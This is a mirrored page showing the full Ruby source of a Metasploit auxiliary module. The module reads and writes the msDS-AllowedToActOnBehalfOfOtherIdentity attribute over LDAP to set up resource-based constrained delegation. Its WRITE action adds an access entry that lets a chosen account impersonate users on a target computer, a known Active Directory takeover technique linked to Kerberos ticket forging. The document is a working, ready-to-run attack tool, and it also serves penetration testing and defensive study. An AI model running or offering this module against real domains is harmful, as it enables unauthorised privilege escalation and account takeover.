Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/admin/ldap/rbcd.rb
64691 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
8
include Msf::Exploit::Remote::LDAP::ActiveDirectory
9
include Msf::OptionalSession::LDAP
10
11
ATTRIBUTE = 'msDS-AllowedToActOnBehalfOfOtherIdentity'.freeze
12
13
def initialize(info = {})
14
super(
15
update_info(
16
info,
17
'Name' => 'Role Base Constrained Delegation',
18
'Description' => %q{
19
This module can read and write the necessary LDAP attributes to configure a particular object for Role Based
20
Constrained Delegation (RBCD). When writing, the module will add an access control entry to allow the account
21
specified in DELEGATE_FROM to the object specified in DELEGATE_TO. In order for this to succeed, the
22
authenticated user must have write access to the target object (the object specified in DELEGATE_TO).
23
},
24
'Author' => [
25
'Podalirius', # Remi Gascou (@podalirius_), Impacket reference implementation
26
'Charlie Bromberg', # Charlie Bromberg (@_nwodtuhs), Impacket reference implementation
27
'Spencer McIntyre' # module author
28
],
29
'References' => [
30
['URL', 'https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution'],
31
['URL', 'https://www.thehacker.recipes/ad/movement/kerberos/delegations/rbcd'],
32
['URL', 'https://github.com/SecureAuthCorp/impacket/blob/3c6713e309cae871d685fa443d3e21b7026a2155/examples/rbcd.py'],
33
['ATT&CK', Mitre::Attack::Technique::T1098_ACCOUNT_MANIPULATION],
34
['ATT&CK', Mitre::Attack::Technique::T1558_STEAL_OR_FORGE_KERBEROS_TICKETS]
35
],
36
'License' => MSF_LICENSE,
37
'Actions' => [
38
['FLUSH', { 'Description' => 'Delete the security descriptor' }],
39
['READ', { 'Description' => 'Read the security descriptor' }],
40
['REMOVE', { 'Description' => 'Remove matching ACEs from the security descriptor DACL' }],
41
['WRITE', { 'Description' => 'Add an ACE to the security descriptor DACL' }]
42
],
43
'DefaultAction' => 'READ',
44
'Notes' => {
45
'Stability' => [],
46
'SideEffects' => [CONFIG_CHANGES], # REMOVE, FLUSH, WRITE all make changes
47
'Reliability' => []
48
}
49
)
50
)
51
52
register_options([
53
OptString.new('DELEGATE_TO', [ true, 'The delegation target' ]),
54
OptString.new('DELEGATE_FROM', [ false, 'The delegation source' ])
55
])
56
end
57
58
def build_ace(sid)
59
Rex::Proto::MsDtyp::MsDtypAce.new({
60
header: {
61
ace_type: Rex::Proto::MsDtyp::MsDtypAceType::ACCESS_ALLOWED_ACE_TYPE
62
},
63
body: {
64
access_mask: Rex::Proto::MsDtyp::MsDtypAccessMask::ALL,
65
sid: sid
66
}
67
})
68
end
69
70
def get_delegate_to_obj
71
delegate_to = datastore['DELEGATE_TO']
72
if delegate_to.blank?
73
fail_with(Failure::BadConfig, 'The DELEGATE_TO option must be specified for this action.')
74
end
75
76
obj = adds_get_object_by_samaccountname(@ldap, delegate_to)
77
if obj.nil? && !delegate_to.end_with?('$')
78
obj = adds_get_object_by_samaccountname(@ldap, "#{delegate_to}$")
79
end
80
fail_with(Failure::NotFound, "Failed to find sAMAccountName: #{delegate_to}") unless obj
81
82
obj
83
end
84
85
def get_delegate_from_obj
86
delegate_from = datastore['DELEGATE_FROM']
87
if delegate_from.blank?
88
fail_with(Failure::BadConfig, 'The DELEGATE_FROM option must be specified for this action.')
89
end
90
91
obj = adds_get_object_by_samaccountname(@ldap, delegate_from)
92
if obj.nil? && !delegate_from.end_with?('$')
93
obj = adds_get_object_by_samaccountname(@ldap, "#{delegate_from}$")
94
end
95
fail_with(Failure::NotFound, "Failed to find sAMAccountName: #{delegate_from}") unless obj
96
97
obj
98
end
99
100
def check
101
ldap_connect do |ldap|
102
validate_bind_success!(ldap)
103
104
if (@base_dn = datastore['BASE_DN'])
105
print_status("User-specified base DN: #{@base_dn}")
106
else
107
print_status('Discovering base DN automatically')
108
109
unless (@base_dn = ldap.base_dn)
110
print_warning("Couldn't discover base DN!")
111
end
112
end
113
@ldap = ldap
114
115
obj = get_delegate_to_obj
116
if obj.nil?
117
return Exploit::CheckCode::Unknown('Failed to find the specified object.')
118
end
119
120
unless adds_obj_grants_permissions?(@ldap, obj, SecurityDescriptorMatcher::Allow.all(%i[RP WP]))
121
return Exploit::CheckCode::Safe('The object can not be written to.')
122
end
123
124
Exploit::CheckCode::Vulnerable(
125
'The object can be written to.',
126
vuln: {
127
resource: {
128
ldap_dn: obj.dn
129
},
130
service: report_ldap_service
131
}
132
)
133
end
134
end
135
136
def run
137
ldap_connect do |ldap|
138
validate_bind_success!(ldap)
139
140
if (@base_dn = datastore['BASE_DN'])
141
print_status("User-specified base DN: #{@base_dn}")
142
else
143
print_status('Discovering base DN automatically')
144
145
unless (@base_dn = ldap.base_dn)
146
print_warning("Couldn't discover base DN!")
147
end
148
end
149
@ldap = ldap
150
151
obj = get_delegate_to_obj
152
153
send("action_#{action.name.downcase}", obj)
154
end
155
rescue Errno::ECONNRESET
156
fail_with(Failure::Disconnected, 'The connection was reset.')
157
rescue Rex::ConnectionError => e
158
fail_with(Failure::Unreachable, e.message)
159
rescue Rex::Proto::Kerberos::Model::Error::KerberosError => e
160
fail_with(Failure::NoAccess, e.message)
161
rescue Net::LDAP::Error => e
162
fail_with(Failure::Unknown, "#{e.class}: #{e.message}")
163
end
164
165
def action_read(obj)
166
if obj[ATTRIBUTE].first.nil?
167
print_status("The #{ATTRIBUTE} field is empty.")
168
return
169
end
170
171
security_descriptor = Rex::Proto::MsDtyp::MsDtypSecurityDescriptor.read(obj[ATTRIBUTE].first)
172
if (sddl = sd_to_sddl(security_descriptor))
173
vprint_status("#{ATTRIBUTE}: #{sddl}")
174
end
175
176
if security_descriptor.dacl.nil?
177
print_status("The #{ATTRIBUTE} DACL field is empty.")
178
return
179
end
180
181
print_status('Allowed accounts:')
182
security_descriptor.dacl.aces.each do |ace|
183
account_name = adds_get_object_by_sid(@ldap, ace.body.sid)
184
if account_name
185
print_status(" #{ace.body.sid} (#{account_name[:sAMAccountName].first})")
186
else
187
print_status(" #{ace.body.sid}")
188
end
189
end
190
end
191
192
def action_remove(obj)
193
delegate_from = get_delegate_from_obj
194
195
security_descriptor = Rex::Proto::MsDtyp::MsDtypSecurityDescriptor.read(obj[ATTRIBUTE].first)
196
unless security_descriptor.dacl && !security_descriptor.dacl.aces.empty?
197
print_status('No DACL ACEs are present. No changes are necessary.')
198
return
199
end
200
201
aces = security_descriptor.dacl.aces.snapshot
202
aces.delete_if { |ace| ace.body.sid == delegate_from[:objectSid].first }
203
delta = security_descriptor.dacl.aces.length - aces.length
204
if delta == 0
205
print_status('No DACL ACEs matched. No changes are necessary.')
206
return
207
else
208
print_status("Removed #{delta} matching ACE#{delta > 1 ? 's' : ''}.")
209
end
210
security_descriptor.dacl.aces = aces
211
# clear these fields so they'll be calculated automatically after the update
212
security_descriptor.dacl.acl_count.clear
213
security_descriptor.dacl.acl_size.clear
214
215
@ldap.replace_attribute(obj.dn, ATTRIBUTE, security_descriptor.to_binary_s)
216
validate_query_result!(@ldap.get_operation_result.table)
217
218
print_good("Successfully updated the #{ATTRIBUTE} attribute.")
219
end
220
221
def action_flush(obj)
222
unless obj[ATTRIBUTE]&.first
223
print_status("The #{ATTRIBUTE} field is empty. No changes are necessary.")
224
return
225
end
226
227
@ldap.delete_attribute(obj.dn, ATTRIBUTE)
228
validate_query_result!(@ldap.get_operation_result.table)
229
230
print_good("Successfully deleted the #{ATTRIBUTE} attribute.")
231
end
232
233
def action_write(obj)
234
delegate_from = get_delegate_from_obj
235
if obj[ATTRIBUTE]&.first
236
_action_write_update(obj, delegate_from)
237
else
238
_action_write_create(obj, delegate_from)
239
end
240
end
241
242
def _action_write_create(obj, delegate_from)
243
vprint_status("Creating new #{ATTRIBUTE}...")
244
delegate_from_sid = Rex::Proto::MsDtyp::MsDtypSid.read(delegate_from[:objectSid].first)
245
security_descriptor = Rex::Proto::MsDtyp::MsDtypSecurityDescriptor.new
246
security_descriptor.owner_sid = Rex::Proto::MsDtyp::MsDtypSid.new('S-1-5-32-544')
247
security_descriptor.dacl = Rex::Proto::MsDtyp::MsDtypAcl.new
248
security_descriptor.dacl.acl_revision = Rex::Proto::MsDtyp::MsDtypAcl::ACL_REVISION_DS
249
security_descriptor.dacl.aces << build_ace(delegate_from_sid)
250
251
if (sddl = sd_to_sddl(security_descriptor))
252
vprint_status("New #{ATTRIBUTE}: #{sddl}")
253
end
254
255
@ldap.add_attribute(obj.dn, ATTRIBUTE, security_descriptor.to_binary_s)
256
validate_query_result!(@ldap.get_operation_result.table)
257
258
print_good("Successfully created the #{ATTRIBUTE} attribute.")
259
print_status('Added account:')
260
print_status(" #{delegate_from_sid} (#{delegate_from[:sAMAccountName].first})")
261
end
262
263
def _action_write_update(obj, delegate_from)
264
vprint_status("Updating existing #{ATTRIBUTE}...")
265
security_descriptor = Rex::Proto::MsDtyp::MsDtypSecurityDescriptor.read(obj[ATTRIBUTE].first)
266
267
if (sddl = sd_to_sddl(security_descriptor))
268
vprint_status("Old #{ATTRIBUTE}: #{sddl}")
269
end
270
271
if security_descriptor.dacl
272
if security_descriptor.dacl.aces.any? { |ace| ace.body.sid == delegate_from[:objectSid].first }
273
print_status("Delegation from #{delegate_from[:sAMAccountName].first} to #{obj[:sAMAccountName].first} is already configured.")
274
end
275
# clear these fields so they'll be calculated automatically after the update
276
security_descriptor.dacl.acl_count.clear
277
security_descriptor.dacl.acl_size.clear
278
else
279
security_descriptor.control.dp = 1
280
security_descriptor.dacl = Rex::Proto::MsDtyp::MsDtypAcl.new
281
security_descriptor.dacl.acl_revision = Rex::Proto::MsDtyp::MsDtypAcl::ACL_REVISION_DS
282
end
283
284
delegate_from_sid = Rex::Proto::MsDtyp::MsDtypSid.read(delegate_from[:objectSid].first)
285
security_descriptor.dacl.aces << build_ace(delegate_from_sid)
286
287
if (sddl = sd_to_sddl(security_descriptor))
288
vprint_status("New #{ATTRIBUTE}: #{sddl}")
289
end
290
291
@ldap.replace_attribute(obj.dn, ATTRIBUTE, security_descriptor.to_binary_s)
292
validate_query_result!(@ldap.get_operation_result.table)
293
294
print_good("Successfully updated the #{ATTRIBUTE} attribute.")
295
end
296
297
def sd_to_sddl(sd)
298
sd.to_sddl_text
299
rescue StandardError => e
300
elog('failed to parse a binary security descriptor to SDDL', error: e)
301
end
302
end
303
304